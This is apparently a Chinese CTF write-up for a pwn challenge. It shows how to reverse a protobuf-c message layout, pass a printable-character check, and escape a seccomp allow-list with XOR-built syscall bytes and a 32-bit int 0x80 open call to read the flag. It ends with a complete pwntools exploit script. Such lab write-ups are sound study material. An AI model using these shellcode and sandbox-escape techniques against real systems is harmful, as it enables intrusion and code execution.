本题来源于源鲁杯第一轮pwn
的困难题,向程序发送了msg
之后会判定是否符合proto
结构,符合则开启沙箱仅允许执行read、write、fstat、alarm、exit_group
,并执行msg
里的shellcode
,shellcode
要求范围在可见字符且长度不大于0xc7
protobuf结构体
前置基础
protobuf结构体/proto文件示例
protobuf
结构体示例:device.proto
,由protobuf
版本(proto2 / proto3
)和protobuf
结构体构成
syntax = "proto2";
message devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
protobuf参数的结构体定义
protobuf
参数的结构体定义如下,其中需要注意的是前四项,在.data.rel.ro
段中可以看到每个参数的结构体,根据结构体中的值判断参数类型等信息,从而分析得到protobuf
结构体
struct ProtobufCFieldDescriptor {
const char *name;
uint32_t id;
ProtobufCLabel label;
ProtobufCType type;
unsigned quantifier_offset;
unsigned offset;
const void *descriptor;
const void *default_value;
uint32_t flags;
unsigned reserved_flags;
void *reserved2;
void *reserved3;
};
以示例中的required sint64 actionid = 1;
为例,分别对应结构体前四项:name
值为actionid
,id
值为1
,label
值为required
,type
值为sint64
,即在编写proto
文件时是按照label type name = id
的顺序写的
label
存在以下类型,即required
、optional
、repeated
、none
,从单词含义也能看出对应什么类型,他们表现在.data.rel.ro
中的数值是按枚举顺序0-3
,只有版本为proto2
时才需要考虑label
,proto3
的label
都是none
(即数值为3
)且不需要在proto
文件中写出来
typedef enum {
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_LABEL_OPTIONAL,
PROTOBUF_C_LABEL_REPEATED,
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;
type
存在以下类型,他们表现在.data.rel.ro
中的数值是按枚举顺序0-0x10
typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;
判定protobuf版本
-
根据结构体参数数量和实际数量是否一致判断
在
.data.rel.ro
段的结构体名下面两项分别是结构体大小和结构体参数数量,proto2
比proto3
多了default_value
字段,所以参数数量会比实际参数数量多一个 -
根据参数结构体有无
label
proto2
中必须声明参数的label
,所以label
值存在除none
(即3
)以外的值就是proto2
编译proto文件
使用python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. filename.proto
来编译filename.proto
,需要先安装grpcio-tools
,编译后得到filename_pb2.py
和filename_pb2_grpc.py
,编译后在exp
中导入filename_pb2
即可使用结构体来发送消息
编译后的结构体会比原结构体多ProtobufCMessage base;
,ProtobufCMessage
结构体定义如下:
struct ProtobufCMessage {
const ProtobufCMessageDescriptor *descriptor;
unsigned n_unknown_fields;
ProtobufCMessageUnknownField *unknown_fields;
};
所以编译后我们定义的参数在数组中的下标是从3
开始的
使用pbtk获取protobuf结构体
工具地址:https://github.com/marin-m/pbtk
使用工具可以快速获取protobuf
结构体省去手搓proto
文件的麻烦,安装的时候有报错可以直接问gpt
解决,但是有的题目被作者刻意隐藏了protobuf
特征而无法用工具梭,还是需要手搓
结构体分析
在IDA
中找到了_data_rel_ro
段,name
在;
右边,下面第一个数值为id
,2-5
是label
,6-9
是type
,对应枚举中的类型可以得到结构体参数的类型,这里一共有msgid
、msgsize
、msgcontent
三个参数,而qword_3C60
结构体名称下面的结构体参数数量也是3
,所以protobuf
版本为proto3
.data.rel.ro:0000000000003B80 _data_rel_ro segment align_32 public 'DATA' use64
.data.rel.ro:0000000000003B80 assume cs:_data_rel_ro
.data.rel.ro:0000000000003B80 ;org 3B80h
.data.rel.ro:0000000000003B80 off_3B80 dq offset aMsgid ; DATA XREF: .data.rel.ro:0000000000003C98↓o
.data.rel.ro:0000000000003B80 ; "msgid"
.data.rel.ro:0000000000003B88 db 1#id=1
.data.rel.ro:0000000000003B89 db 0
.data.rel.ro:0000000000003B8A db 0
.data.rel.ro:0000000000003B8B db 0
.data.rel.ro:0000000000003B8C db 3#label=none
.data.rel.ro:0000000000003B8D db 0
.data.rel.ro:0000000000003B8E db 0
.data.rel.ro:0000000000003B8F db 0
.data.rel.ro:0000000000003B90 db 3#type=int64
...
.data.rel.ro:0000000000003BC8 dq offset aMsgsize ; "msgsize"
.data.rel.ro:0000000000003BD0 db 2#id=2
.data.rel.ro:0000000000003BD1 db 0
.data.rel.ro:0000000000003BD2 db 0
.data.rel.ro:0000000000003BD3 db 0
.data.rel.ro:0000000000003BD4 db 3#label=none
.data.rel.ro:0000000000003BD5 db 0
.data.rel.ro:0000000000003BD6 db 0
.data.rel.ro:0000000000003BD7 db 0
.data.rel.ro:0000000000003BD8 db 3#type=int64
...
.data.rel.ro:0000000000003C10 dq offset aMsgcontent ; "msgcontent"
.data.rel.ro:0000000000003C18 db 3#id=3
.data.rel.ro:0000000000003C19 db 0
.data.rel.ro:0000000000003C1A db 0
.data.rel.ro:0000000000003C1B db 0
.data.rel.ro:0000000000003C1C db 3#label=none
.data.rel.ro:0000000000003C1D db 0
.data.rel.ro:0000000000003C1E db 0
.data.rel.ro:0000000000003C1F db 0
.data.rel.ro:0000000000003C20 db 0Fh#type=bytes
...
.data.rel.ro:0000000000003C60 qword_3C60 dq 28AAEEF9h ; DATA XREF: sub_1819+10↑o
.data.rel.ro:0000000000003C60 ; sub_187D+17↑o ...
.data.rel.ro:0000000000003C68 dq offset aBotMsgbot ; "bot.msgbot"
.data.rel.ro:0000000000003C70 dq offset aMsgbot ; "Msgbot"
.data.rel.ro:0000000000003C78 dq offset aBotMsgbot_0 ; "Bot__Msgbot"
.data.rel.ro:0000000000003C80 dq offset aBot ; "bot"
.data.rel.ro:0000000000003C88 dq 38h#结构体大小
.data.rel.ro:0000000000003C90 dq 3#字段数=实际字段数,是proto3
.data.rel.ro:0000000000003C98 dq offset off_3B80 ; "msgid"
.data.rel.ro:0000000000003CA0 dq offset unk_20A0
.data.rel.ro:0000000000003CA8 dq 1
.data.rel.ro:0000000000003CB0 dq offset unk_20B0
.data.rel.ro:0000000000003CB8 dq offset sub_1819
...
.data.rel.ro:0000000000003D17 _data_rel_ro ends
.data.rel.ro:0000000000003D17
编写和编译proto文件
根据以上分析编写bot.proto
内容如下
syntax = "proto3";
message Msgbot{
int64 msgid = 1;
int64 msgsize = 2;
bytes msgcontent = 3;
}
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. bot.proto
编译得到bot_pb2.py
和bot_pb2_grpc.py
,在exp
中导入bot_pb2
即可使用bot_pb2
中的Msgbot
来发送题目特定格式的消息,需要注意的是发送前需要先用SerializeToString
序列化
from bot_pb2 import Msgbot
import grpc
msg = Msgbot()
msg.msgid = id
msg.msgsize = size
msg.msgcontent = content
serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
程序分析
在发送的消息能被正确接收之后当msg[0][3] == (void *)0xC0DEFEEDLL
且msg[0][4] == (void *)0xF00DFACELL
、msg[0][5] <= 0xC7
时将msg[0] + 6
复制到dest
中作为shellcode
执行,msg[0][3]
就是msgid
,msg[0][4]
是msgsize
,msg[0] + 6
是msgcontent
,msg[0][5]
获取了msgcontent
的长度
else if ( msg[0][3] == (void *)0xC0DEFEEDLL && msg[0][4] == (void *)0xF00DFACELL )
{
v0 = (unsigned int)msg[0][5];
v1 = msg[0][6];
check((__int64)v1, v0);
seccomp((__int64)v1, v0, v2, v3, v4, v5);
if ( msg[0][5] <= (char *)&qword_C0 + 7 && v7 <= 0xC7 )
{
memcpy(dest, *((const void **)msg[0] + 6), (size_t)msg[0][5]);
((void (*)(void))dest)();
}
}
所以可以构造结构体如下
from bot_pb2 import Msgbot
import grpc
msg = Msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = shellcode
serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
check
函数对shellcode
进行了检查,限制shellcode
在可见字符范围内
for ( i = 0; ; ++i )
{
result = i;
if ( v3 <= i )
break;
if ( *(char *)((int)i + a1) <= '\x1F' || *(_BYTE *)((int)i + a1) == '\x7F' )
{
puts("Oops!");
exit(0);
}
}
写shellcode
调试shellcode
的时候用si
不要用ni
!!
检查沙箱
通过check
之后开启沙箱,所以要执行到发送正确的消息之后才能用seccomp-tools
查看沙箱情况,这里可以将process
的参数设置为seccomp-tools
即r = process(["seccomp-tools", "dump", "./pwn"])
,发送完msg
就会显示沙箱的情况
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003
0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009
0003: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0009
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0009
0006: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
这里限制了只能使用read write fstat alarm exit_group
,程序是64
位的,而fstat
在32
位中对应的函数就是open
,所以可以使用32
位的open
和64
位的read write
构造syscall
限制了可见字符且限制长度的情况下第一步就需要先构造一个read
无限制的再读一次,而syscall
的汇编字节是0x0f05
不在可见字符范围内,所以需要通过异或构造,需要注意端序问题,小端序要反过来写进去,即0x050f
,写在shellcode
末尾用来异或的数值也要反过来写,我选择的是0x66666963 ^ 0x66666c6c = 0x50f
,构造shellcode
如下
push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66
架构切换调用open
使用汇编指令retfq
切换架构,原理是改cs
寄存器,当cs
寄存器的值为0x33
时识别为64
位,当寄存器值位0x23
时识别位32
位,而retfq
指令相当于pop ip; pop cs
,所以需要先push cs
再push
需要执行的指令地址最后retfq
切换架构
不过其实我没切换直接写32
位的shellcode
用int 80
实现系统调用也能执行open
...shellcode
如下
mov eax, 5
push ecx
pop ebx
mov dword ptr [ecx], 0x6c662f2e
add ecx, 4
mov dword ptr [ecx], 0x6761
xor ecx, ecx
xor edx, edx
int 0x80
exp
from pwn import *
from bot_pb2 import Msgbot
import grpc
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
debug = 0
if debug:
r = remote('challenge.yuanloo.com', 21231)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
'''
push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66
'''
msgcontent = b'\x68\x63\x69\x66\x66\x5e\x48\x31\x70\x20\x53\x5f\x34\x22\x50\x5e\x68\x63\x69\x66\x66\x5a\x53\x58' + b'\x50' * 8 + b'\x6c\x6c\x66\x66'
msg = Msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = msgcontent
serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
'''
mov eax, 5
push ecx
pop ebx
mov dword ptr [ecx], 0x6c662f2e
add ecx, 4
mov dword ptr [ecx], 0x6761
xor ecx, ecx
xor edx, edx
int 0x80
'''
shellcode = b"\xb8\x05\x00\x00\x00\x51\x5b\xc7\x01\x2e\x2f\x66\x6c\x83\xc1\x04\xc7\x01\x61\x67\x00\x00\x31\xc9\x31\xd2\xcd\x80"
shellcode += asm(shellcraft.read(3, 'rsp', 0x30))
shellcode += asm(shellcraft.write(1, 'rsp',0x30))
r.send(shellcode)
r.interactive()